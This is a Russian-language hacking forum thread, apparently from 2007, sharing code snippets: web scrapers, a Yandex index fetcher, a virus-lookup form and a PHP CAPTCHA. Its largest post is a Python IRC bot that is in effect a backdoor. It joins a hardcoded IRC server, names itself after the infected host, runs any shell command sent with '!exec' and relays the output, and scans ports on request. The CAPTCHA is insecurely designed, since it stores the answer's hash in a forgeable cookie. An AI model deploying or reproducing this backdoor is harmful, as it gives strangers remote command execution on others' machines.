
13.07.2007, 11:44
|
|
Флудер
Регистрация: 20.11.2006
Сообщений: 3,315
С нами:
10248806
Репутация:
2371
|
|
=faraon=, непонятно по каким принципам вычисляет дизайн sys.ru =\
|
|
|

13.07.2007, 19:21
|
|
Banned
Регистрация: 26.06.2007
Сообщений: 49
С нами:
9934946
Репутация:
8
|
|
Обычный граббер текста от тега до тега!
PHP код:
<?
$f = file_get_contents('http://mail.ru/index.php');
preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches);
echo $matches[0][0];
?>
|
|
|

14.07.2007, 23:19
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами:
10225766
Репутация:
2062
|
|
Сообщение от Hormold
Обычный граббер текста от тега до тега!
PHP код:
<?
$f = file_get_contents('http://mail.ru/index.php');
preg_match_all( '/<b>(.*)<\/b>/iUs' , $f, $matches);
echo $matches[0][0];
?>
может кто такой навоять на перле? Ну и конечно чтоб он всю страничку пропарсил?
|
|
|

14.07.2007, 23:41
|
|
Постоянный
Регистрация: 05.06.2007
Сообщений: 335
С нами:
9965892
Репутация:
677
|
|
типа так
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$res = $ua->get('http://mail.ru/index.php', {
'referer' => '',
'CookieDate' => 1 });
$text = $res->as_string;
$text =~s/<a href="(.*)"/$text=$1/gie; так или $text =~s/(.*)gref="//gi; или так $text =~s/"(.*)//gi;
print $text;
Последний раз редактировалось C!klodoL; 15.07.2007 в 00:07..
|
|
|

15.07.2007, 00:26
|
|
Постоянный
Регистрация: 06.12.2006
Сообщений: 762
С нами:
10225766
Репутация:
2062
|
|
И что он делает? Он кажется просто выводит весь исходник страницы и не более, а мне надо вывод текста между тегов, к пример как у нас на форуме между тегами
Код:
<!-- message -->
...
<!-- / message -->
|
|
|

15.07.2007, 14:42
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами:
10370602
Репутация:
472
|
|
IRC бот на питоне
Код:
#-----------------------------------------------+
# ._____________________. |
# Coded by slav0nic | slav0nic0@gmail.com | |
# ^---------------------^ |
# Site: slav0nic.xss.ru |
#-----------------------------------------------+
#
#
#commands: !exit','!port','!version','!exec'
#!port [host][port] - check open port
#!exec [commend] - exec command
import socket
import os
import sys
from random import *
from time import *
class IRC:
def __init__(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port=6667
self.ch_key=''
self.nick = 'slav'+str(randrange(1000)) #bot name
self.entermsg='[+]ok' #send msg to chan after connect
self.autoentermsg=1 #send self.entermsg
self._exec='!exec' #prefix for shell command
self.bot_commands=['!exit','!port','!version','!get',self._exec]
# self.encoding='1251' #default Russian (encode in you irc client)
self.sleep=0.1 #delay between send !exec result lines
self.version='0.2'
def loop(self):
try:
self.sock.connect((self.host, self.port))
self.sock.send('NICK %s\r\n' % self.nick)
self.sock.send('USER localhost localhost localhost : slavar\r\n')
self.sock.send('JOIN %s %s\r\n' % (self.chan,self.ch_key))
if self.autoentermsg: self.__sendprivmsg(self.entermsg)
while True:
self.res_data = self.sock.recv(1024)
print self.res_data #dbg
if self.res_data.startswith(':ERROR') or self.res_data.startswith('ERROR'):
self.sock.close()
print '[-]Serv error' #dbg
sys.exit(1)
if self.res_data.startswith('PING'):
self.sock.send('PONG : PING\r\n')
elif self.res_data.find('PRIVMSG')!=-1:
msg,msg_type,command,from_=self.__pars_privmsg()
print 'msg_type=%s msg=%r cmd=%r'%(msg_type,msg,command)#dbg
if (msg_type=="to_user" and command!=''): #this is a bot command
if command in self.bot_commands:
if command=='!exit':
self.__ircexit()
self.sock.close()
sys.exit(0)
elif command=='!version':
self.__sendto_user(from_,'Version= \x0303%s'%self.version)
elif command=='!exec':
stdout=os.popen(msg[(len(command)+1):])
for line in stdout.readlines() :
sleep(self.sleep)
self.__sendto_user(from_,line)
#print line #dbg
## elif command=='!get':
## """DCC SEND will be later ;)"""
## self.__sendto_user(from_,'\x01DCC SEND 123.txt 2130706433 4116 4\x01') #ip to long socket.ntohl(struct.unpack('i',socket.inet_aton('127.0.0.1'))[0])
elif command=='!port':
# print '%r %r'%(msg.split()[1],msg.split()[2]) #dbg
try:
x=self.__check_port(msg.split()[1],msg.split()[2])
except:
self.__sendto_user(from_,'\x0304[-]\x0300Error "!port [host] [port]" format')
x=-1
if x==1:
self.__sendto_user(from_,'\x0303[+]\x0300Port %i Ok'%int(msg.split()[2]))
elif x==-1:
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Close')
elif msg.startswith('\x01DCC SEND'):
print 'DCC SEND' #dbg
pass
else:
self.__sendto_user(from_,'\x0304[-]\x0300Unknown command %s'%command)
except:
print '[-]Error:',sys.exc_value
def __ircexit(self):
self.sock.send('QUIT :\x0302Go offline\r\n')
def __sendprivmsg(self,msg):
self.sock.send('PRIVMSG %s :%s\r\n' % (self.chan,msg))
def __sendto_user(self,user,msg):
self.sock.send("PRIVMSG %s :%s\r\n"%(user,msg))
def __pars_privmsg(self):
msg=self.res_data.split(':',2)[2][:-2]
if self.res_data.split(':')[1].split()[2][0]=='#': msg_type='to_chan'
else: msg_type= 'to_user'
from_= self.res_data.split('!')[0].replace(':','')
if msg[0]=='!': command=msg.split()[0].replace('\r\n','')
else: command=''
return msg, msg_type,command,from_
def __check_port(self,host,port):
socktest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# socktest.settimeout(timeout)
try:
socktest.connect((host,int(port)))
return 1
except:
return 0
if __name__ == '__main__':
bot = IRC()
bot.host = 'irc.lamer.la' #irc server ip (default bot.port=6667)
bot.chan = '#chan'
bot.ch_key= '' #channel password
bot.nick=(socket.gethostname()).replace('.','_')+'_'+str(randrange(10))
# if os.fork():
bot.loop()
|
|
|

16.07.2007, 12:25
|
|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,187
С нами:
10495046
Репутация:
2642
|
|
Вот как можно защитить регу пользователей вводом кода с картинки (пример)
register.php
PHP код:
Antibot Secure:<br><input type='text' name='image'><br>(Введите числа, изображённые на картинке)<br><br>
<img src='image.php'><br>
...
<?
...
if($_COOKIE['PictureCode'] != md5($image))
exit("Код на картинке не совпадает с кодом, написанным вами.");
...
?>
image.php
PHP код:
<?php
// Получаем псевдослучайное число
$rand = rand(10000, 99999);
// Получаем его хэш
$rv = md5($rand);
// Засовываем хэш в куку
setcookie ("PictureCode", $rv);
// СоздаЈм картинку со светло-серой сеткой на тЈмно-сером фоне
$picture = imagecreate (61, 21);
$bgcolor = imagecolorallocate($picture, 165, 165, 165);
$ntcolor = imagecolorallocate($picture, 200, 200, 200);
for ($i=0; $i<=100; $i+=5) imageline($picture, $i, 0, $i, 100, $ntcolor);
for ($i=0; $i<=100; $i+=5) imageline($picture, 0, $i, 100, $i, $ntcolor);
// Случайный цвет для каждой цифры
$fontcolor1 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor2 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor3 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor4 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
$fontcolor5 = imagecolorallocate($picture,rand(0,111), rand(0,111), rand(0,111));
// Рисуем на картинке случайное число
imagestring($picture, 11, 07, 1, substr($rand,0,1), $fontcolor1);
imagestring($picture, 11, 17, 6, substr($rand,1,1), $fontcolor2);
imagestring($picture, 11, 27, 1, substr($rand,2,1), $fontcolor3);
imagestring($picture, 11, 37, 6, substr($rand,3,1), $fontcolor4);
imagestring($picture, 11, 47, 1, substr($rand,4,1), $fontcolor5);
// Посылаем заголовки и картинку
header("Content-type: image/png");
imagepng($picture);
imagedestroy($picture);
?>
|
|
|

17.07.2007, 00:09
|
|
Участник форума
Регистрация: 22.05.2007
Сообщений: 144
С нами:
9985348
Репутация:
119
|
|
Полезный скрипт для вытаскивания индекса цитируемостит сайта:
PHP код:
<?php
$url='www.site.ru';
function tic($url)
{
$pattern = "http://bar-navig.yandex.ru/u?ver=2&show=32&url=http://";
$url = trim($url, '/') . '/';
$url = str_replace('http://', '', $url);
$txt = file_get_contents($pattern.$url);
preg_match('|<tcy rang="\d*" value="(.*)"/>|', $txt, $out);
$cy = (int) $out[1];
return $cy;
}
$tic=tic($url);
echo $tic;
?>
|
|
|

17.07.2007, 01:13
|
|
Banned
Регистрация: 26.06.2007
Сообщений: 49
С нами:
9934946
Репутация:
8
|
|
NOmeR1,
Помоги переделать под это: http://www.viruslist.com/ru/search?VN=
У меня нифига неработает 
Вот то-что я сделал:
PHP код:
<?
if($_GET['virus'])
{
$file = file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
preg_match_all( '/<table cellspacing=0 cellpadding=0 width=100% height=100% border=0>(.*)<\td colspan=3 height=20><\/td><\/tr>/isU' , $file, $out);
echo $out[0][0];
}else{
?>
<title>Virus Lab</title>
<form style="width:180px;" method=get style='width:200px;'>
Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br>
<center><input type='submit'></center>
</form>
<?}?>
|
|
|

17.07.2007, 01:43
|
|
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
С нами:
11058146
Репутация:
4536
|
|
PHP код:
<?
if($_GET['virus'])
{
$file = file_get_contents("http://www.viruslist.com/ru/search?VN=".$_GET['virus']);
preg_match( '/\<\/a\>\<\/b\>\<\/td\>\<\/table\>(.*)\<table(.*?)/is' , $file, $out);
echo $out[1];
}else{
?>
<title>Virus Lab</title>
<form style="width:180px;" method=get style='width:200px;'>
Virus: <input type='text' name='virus'><br>Example, <b>Virus.Win32.Gpcode.ai</b>.<br><br>
<center><input type='submit'></center>
</form>
<?}?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|